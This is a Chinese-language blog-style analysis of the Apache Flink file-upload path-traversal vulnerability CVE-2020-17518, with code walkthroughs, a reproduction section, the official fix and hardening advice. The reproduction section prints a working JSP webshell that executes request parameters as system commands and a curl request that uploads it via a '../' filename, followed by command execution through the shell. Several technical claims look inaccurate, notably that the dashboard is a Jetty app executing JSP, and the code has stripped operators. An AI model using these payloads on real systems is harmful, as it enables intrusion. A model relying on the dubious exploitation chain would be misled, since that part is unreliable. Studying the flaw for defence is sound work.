1. 项目概述一次对CVE-2020-17518的深度剖析最近在复盘一些经典的中间件漏洞Apache Flink的CVE-2020-17518这个文件上传漏洞引起了我的注意。它不像那些复杂的RCE漏洞需要精巧的链式构造也不像SQL注入那样需要大量的模糊测试它的成因非常“经典”甚至可以说有点“复古”但恰恰是这种对用户输入路径的校验不严配合一个看似无害的功能在特定版本1.5.1至1.11.2的Flink Web Dashboard上撕开了一道口子导致了任意文件写入。对于安全研究者和运维同学来说理解这个漏洞不仅能帮助我们加固自身的Flink集群更能深刻体会到“路径穿越”和“文件上传”这两个老生常谈的安全问题在复杂框架中是如何以新的面貌出现的。今天我就带大家从代码层面一步步拆解这个漏洞的来龙去脉并分享一些在漏洞复现和分析过程中的实操心得。2. 漏洞背景与核心原理拆解2.1 Apache Flink Web Dashboard的功能定位Apache Flink作为一个流处理框架其Web Dashboard通常运行在8081端口是用户进行作业提交、监控和管理的主要入口。它提供了丰富的REST API其中就包括作业JAR包的上传功能。这个功能的本意是方便用户将编写好的流处理应用打包成JAR后通过Web界面轻松提交到集群执行。从架构上看Dashboard作为用户与Flink集群Manager如JobManager交互的桥梁其安全性直接关系到整个集群的安危。一旦Dashboard被攻破攻击者就有可能进一步渗透集群内部甚至获取到运行作业的权限。因此对文件上传这类高危操作的校验必须是滴水不漏的。2.2 CVE-2020-17518漏洞的核心路径穿越Path Traversal这个漏洞的本质是一个典型的“路径穿越”或“目录遍历”漏洞。简单来说就是攻击者通过构造特殊的文件名或路径参数使应用程序将文件写入到预期目录之外的位置。在Flink的这个案例中攻击点在于上传文件时指定的“文件名”参数。正常流程是用户上传一个名为my-job.jar的文件服务端会将其保存在某个固定的临时目录或上传目录下。但如果攻击者将文件名设置为../../../tmp/evil.sh而服务端又没有对路径中的..上级目录进行过滤或规范化处理那么文件就可能被写入到/tmp目录甚至覆盖系统关键文件。Flink的漏洞特殊之处在于它并非发生在一个简单的文件上传接口而是与Flink的“自定义JAR提交”流程深度耦合。攻击者通过精心构造的HTTP请求可以欺骗Web接口将恶意文件如Webshell写入到Web应用的静态资源目录如web目录中从而直接通过URL访问并执行该文件实现远程代码执行。2.3 影响范围与修复版本根据官方公告该漏洞影响Apache Flink 1.5.1至1.11.2之间的所有版本。这个跨度相当大涵盖了Flink快速发展成熟的多个主要版本意味着大量生产环境可能暴露在风险之下。官方在1.11.3、1.12.0及后续版本中修复了此漏洞。修复的核心思路是对用户提交的文件名进行严格的校验和规范化确保其不能包含路径遍历序列并且最终被限制在指定的安全目录内。3. 漏洞代码深度解析与定位要真正理解一个漏洞光看描述是不够的必须深入到代码层面看看问题到底出在哪一行。我们以受影响版本如1.11.2的源代码为例进行追踪。3.1 入口点org.apache.flink.runtime.rest.handler.job.JarUploadHandler文件上传的HTTP请求最终会由Flink的REST框架路由到对应的Handler进行处理。对于JAR包上传这个处理器就是JarUploadHandler。它的handleRequest方法是我们的首要分析目标。// 简化后的代码逻辑 Override protected CompletableFutureJarUploadResponseBody handleRequest( Nonnull HandlerRequestJarUploadRequestBody, JarUploadMessageParameters request, Nonnull DispatcherGateway gateway) throws RestHandlerException { // 从HTTP请求中获取上传的文件 FileUpload file request.getUploadedFile().get(0); // 获取用户通过表单提交的“filename”参数 String filename request.getFormParameter(filename); // ... 其他逻辑 Path destination jarDir.resolve(filename); // 关键行拼接目标路径 Files.copy(file.getInputStream(), destination, StandardCopyOption.REPLACE_EXISTING); // ... 返回响应 }关键点分析request.getUploadedFile()获取的是HTTP请求中文件部分的内容流。request.getFormParameter(“filename”)获取的是表单中名为filename的字段值。注意这个filename并非浏览器自动上传的文件名而是请求体中的一个独立参数攻击者可以完全控制它。jarDir是Flink配置的JAR存储目录如$FLINK_HOME/web/upload。jarDir.resolve(filename)是漏洞的核心。Path.resolve()方法会将filename拼接到jarDir路径后面。如果filename是../../../web/evil.jsp那么destination就会变成$FLINK_HOME/web/upload/../../../web/evil.jsp经过系统路径解析后实际上就指向了$FLINK_HOME/web/evil.jsp。注意这里存在一个常见的误解。很多人认为漏洞是利用了HTTP头中的filename属性。实际上在Flink的这个接口中它读取的是请求体Body中multipart/form-data格式里一个独立的filename字段。这意味着即使前端表单写死了文件名攻击者也可以通过直接发送原始的HTTP请求包例如使用Burp Suite来修改这个参数完全绕过前端限制。3.2 缺失的校验路径规范化与安全检查在漏洞版本的代码中JarUploadHandler在调用resolve()之后并没有对生成的destination路径进行至关重要的安全检查未进行规范化Normalization没有调用destination.normalize()来解析掉路径中的.和..。虽然操作系统最终会解析但程序自身应该在写入前就知道最终路径指向哪里。未进行路径限定Containment Check没有检查destination是否仍然在jarDir目录或其子目录下。标准的做法是使用destination.toAbsolutePath().startsWith(jarDir.toAbsolutePath())来判断。修复版本的代码正是补上了这两个步骤。在写入文件之前会对路径进行规范化并确保规范化后的路径仍然在允许的基目录之下否则就抛出异常拒绝请求。3.3 利用链的构成从文件写入到RCE理解了文件如何被写入错误位置后我们来看如何利用它实现RCE。写入Web目录通过路径穿越将包含恶意代码的JSP文件写入Flink Web Dashboard的静态资源目录例如web目录。因为Dashboard本身通常是一个Java Web应用如基于Jettyweb目录下的JSP文件是可被容器解析执行的。触发访问写入成功后攻击者直接访问http://flink-host:8081/evil.jsp。Jetty容器会识别到这个JSP请求将其交给JSP引擎编译执行其中的Java代码例如利用Runtime执行系统命令就会被运行。权限继承Web应用以什么用户身份运行通常是专门的flink用户或启动服务的用户恶意JSP中的命令就以什么权限执行。如果运维不当以高权限账户运行后果将非常严重。4. 漏洞复现与实操验证纸上得来终觉浅绝知此事要躬行。搭建一个受漏洞影响的环境进行复现是理解漏洞最有效的方式。4.1 环境准备与搭建目标在本地或隔离虚拟机中搭建一个存在CVE-2020-17518漏洞的Apache Flink单机环境。步骤下载漏洞版本从Apache Archive仓库下载Flink 1.11.2的二进制发行包flink-1.11.2-bin-scala_2.11.tgz。解压与启动tar -xzf flink-1.11.2-bin-scala_2.11.tgz cd flink-1.11.2 # 启动本地单机集群 ./bin/start-cluster.sh验证启动访问http://localhost:8081应能看到Flink Web Dashboard的界面。使用jps命令应能看到StandaloneSessionClusterEntrypoint和TaskManagerRunner进程。4.2 构造攻击请求我们使用curl命令来模拟攻击者的HTTP请求这比使用浏览器更能体现漏洞的本质。准备一个恶意的JSP Webshell文件内容如下保存为shell.txt因为我们将以文本形式嵌入请求% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %构造并发送恶意请求curl -X POST \ http://localhost:8081/jars/upload \ -H Content-Type: multipart/form-data \ -F jarfile./shell.txt \ -F filename../../../web/shell.jsp命令拆解与解释-X POST: 指定使用POST方法对应上传接口。‘http://localhost:8081/jars/upload’: Flink Dashboard的文件上传端点。-H ‘Content-Type: multipart/form-data’: 必须设置正确的Content-Type以支持文件上传。-F “jarfile./shell.txt”: 这是关键。jarfile是接口预期的文件字段名我们上传本地的shell.txt文件。虽然它叫.txt但内容是我们写的JSP代码。-F “filename../../../web/shell.jsp”:这是漏洞利用的核心。我们控制filename参数使用路径穿越../../../跳出预设的上传目录直接指向Web应用的web子目录并指定最终保存的文件名为shell.jsp。4.3 验证利用结果检查响应如果请求成功curl会返回一个JSON响应通常包含一个filename字段显示服务端保存的文件名。在漏洞版本中即使我们使用了路径穿越这里可能仍然只返回文件名部分如shell.jsp而不会暴露完整路径但这不影响文件已被写入的事实。访问Webshell在浏览器或另一个curl命令中访问http://localhost:8081/shell.jsp。执行命令访问http://localhost:8081/shell.jsp?cmdwhoami。如果页面上显示了运行Flink服务的用户名如flink则证明漏洞利用成功任意命令执行已实现。实操心得在实际测试中可能会遇到一些“小麻烦”。例如Flink的Web目录可能没有写权限或者防火墙规则限制了访问。建议在搭建环境时确保Flink进程用户对安装目录有写权限。另外使用./bin/stop-cluster.sh和./bin/start-cluster.sh重启服务时写入web目录的JSP文件可能会被清理因为web目录有时会被视为静态资源从包中提取。更稳定的利用可能是写入其他有权限且服务进程能访问的目录再通过其他方式如日志文件包含、配置修改触发。这体现了渗透测试中需要灵活变通。5. 修复方案与安全加固实践分析漏洞是为了更好地防御。我们来看看官方如何修复以及我们在实际运维中该如何加固。5.1 官方修复代码分析查看修复版本如1.11.3的JarUploadHandler代码会发现关键性的增强// 修复后的核心逻辑示意 String filename ... // 获取用户输入 Path destination jarDir.resolve(filename).normalize(); // 步骤1规范化路径 // 步骤2检查规范化后的路径是否仍在jarDir内 if (!destination.toAbsolutePath().startsWith(jarDir.toAbsolutePath())) { throw new RestHandlerException( “Uploaded jar file is targeted outside the jar upload directory.”, HttpResponseStatus.BAD_REQUEST); } // 步骤3安全检查通过执行复制 Files.copy(..., destination, ...);修复要点规范化Normalizenormalize()方法会移除路径中冗余的.和..解析出真正的绝对路径指向。路径包含性检查检查解析后的目标路径是否以允许的基目录jarDir开头。这是防御路径穿越最根本、最有效的方法。早期拒绝在文件系统操作发生之前就进行校验不符合安全策略则立即抛出异常并返回400等错误状态码遵循“失败早失败快”的安全设计原则。5.2 针对自身环境的加固建议即使升级到了已修复的版本以下安全实践依然值得每个Flink运维人员关注及时升级这是最直接有效的方法。将生产环境的Flink集群升级到1.11.3、1.12.0或更高版本。网络隔离严格限制Flink Web Dashboard的访问来源。不要将其8081端口直接暴露在公网。应通过VPN、跳板机或内部网络边界策略进行访问控制。最小权限原则运行Flink服务的操作系统用户如flink应仅拥有完成任务所必需的最小权限。避免使用root或高权限账户运行。这样可以即使被攻破也能限制攻击者的横向移动和破坏范围。文件系统权限控制确保Flink的安装目录、日志目录、上传目录的权限设置得当。例如web目录可以设置为只读防止被意外写入。部署前端防护在Flink Dashboard前端部署Web应用防火墙WAF可以配置规则拦截包含路径遍历序列如../的请求提供一层额外的防护。安全审计与监控启用Flink的访问日志并纳入统一的日志管理和安全信息事件管理SIEM系统。监控异常的上传请求特别是那些包含可疑路径或文件名的请求。6. 从CVE-2020-17518延伸的通用安全思考这个漏洞虽然原理简单但它像一面镜子映照出Web应用安全中几个历久弥新的核心问题。6.1 用户输入可信吗——永不信任原则这是安全开发的第一铁律。filename参数是一个来自客户端的、完全可控的输入。任何将用户输入直接用于文件系统操作、数据库查询、系统命令拼接或反序列化的地方都是潜在的高危点。开发者在处理此类输入时必须抱有“怀疑一切”的态度进行严格的校验、过滤或转义。6.2 白名单 vs 黑名单在防御路径穿越时应该采用哪种策略黑名单无效尝试过滤../、..\、%2e%2e%2f等。这种方式极易被绕过编码、双编码、罕见Unicode字符、操作系统路径特性差异都可能让过滤失效。白名单推荐定义允许的字符集如字母、数字、连字符、下划线、点只接受符合规则的输入。或者更好的方式是不信任用户提供的路径由服务端根据文件ID或哈希值生成存储路径和访问文件名用户提供的原始文件名仅用于下载时的展示。6.3 默认安全与纵深防御Flink作为一个大数据处理框架其默认配置可能更侧重于功能和性能安全性需要使用者主动介入。这提醒我们在引入任何开源组件时都应将其安全配置作为部署的必要步骤。同时不要依赖单一防线。即使代码层修复了网络层的隔离、系统层的权限控制、运行时的监控RASP共同构成的纵深防御体系才能最大程度降低风险。6.4 漏洞复现的意义对于安全从业者手动复现一个漏洞的价值远大于阅读分析报告。这个过程迫使你去搭建环境、阅读代码、构造数据包、调试问题。你会遇到各种预料之外的情况比如环境依赖问题、版本差异、权限错误等解决这些问题的过程本身就是宝贵经验的积累。它锻炼的是你的动手能力、调试能力和对系统理解的深度。下次当你审计代码时看到resolve()、new File()这类方法大脑里的警报器自然会更加灵敏。在我个人的研究过程中最初以为只要传个../就能成功结果发现需要精确计算跳出多少层目录才能到达web文件夹也遇到过上传成功但JSP访问404的情况最后发现是Web服务器配置问题。这些“踩坑”经历比任何教科书式的描述都更让人记忆深刻。安全研究终究是一门需要大量动手实践的学问。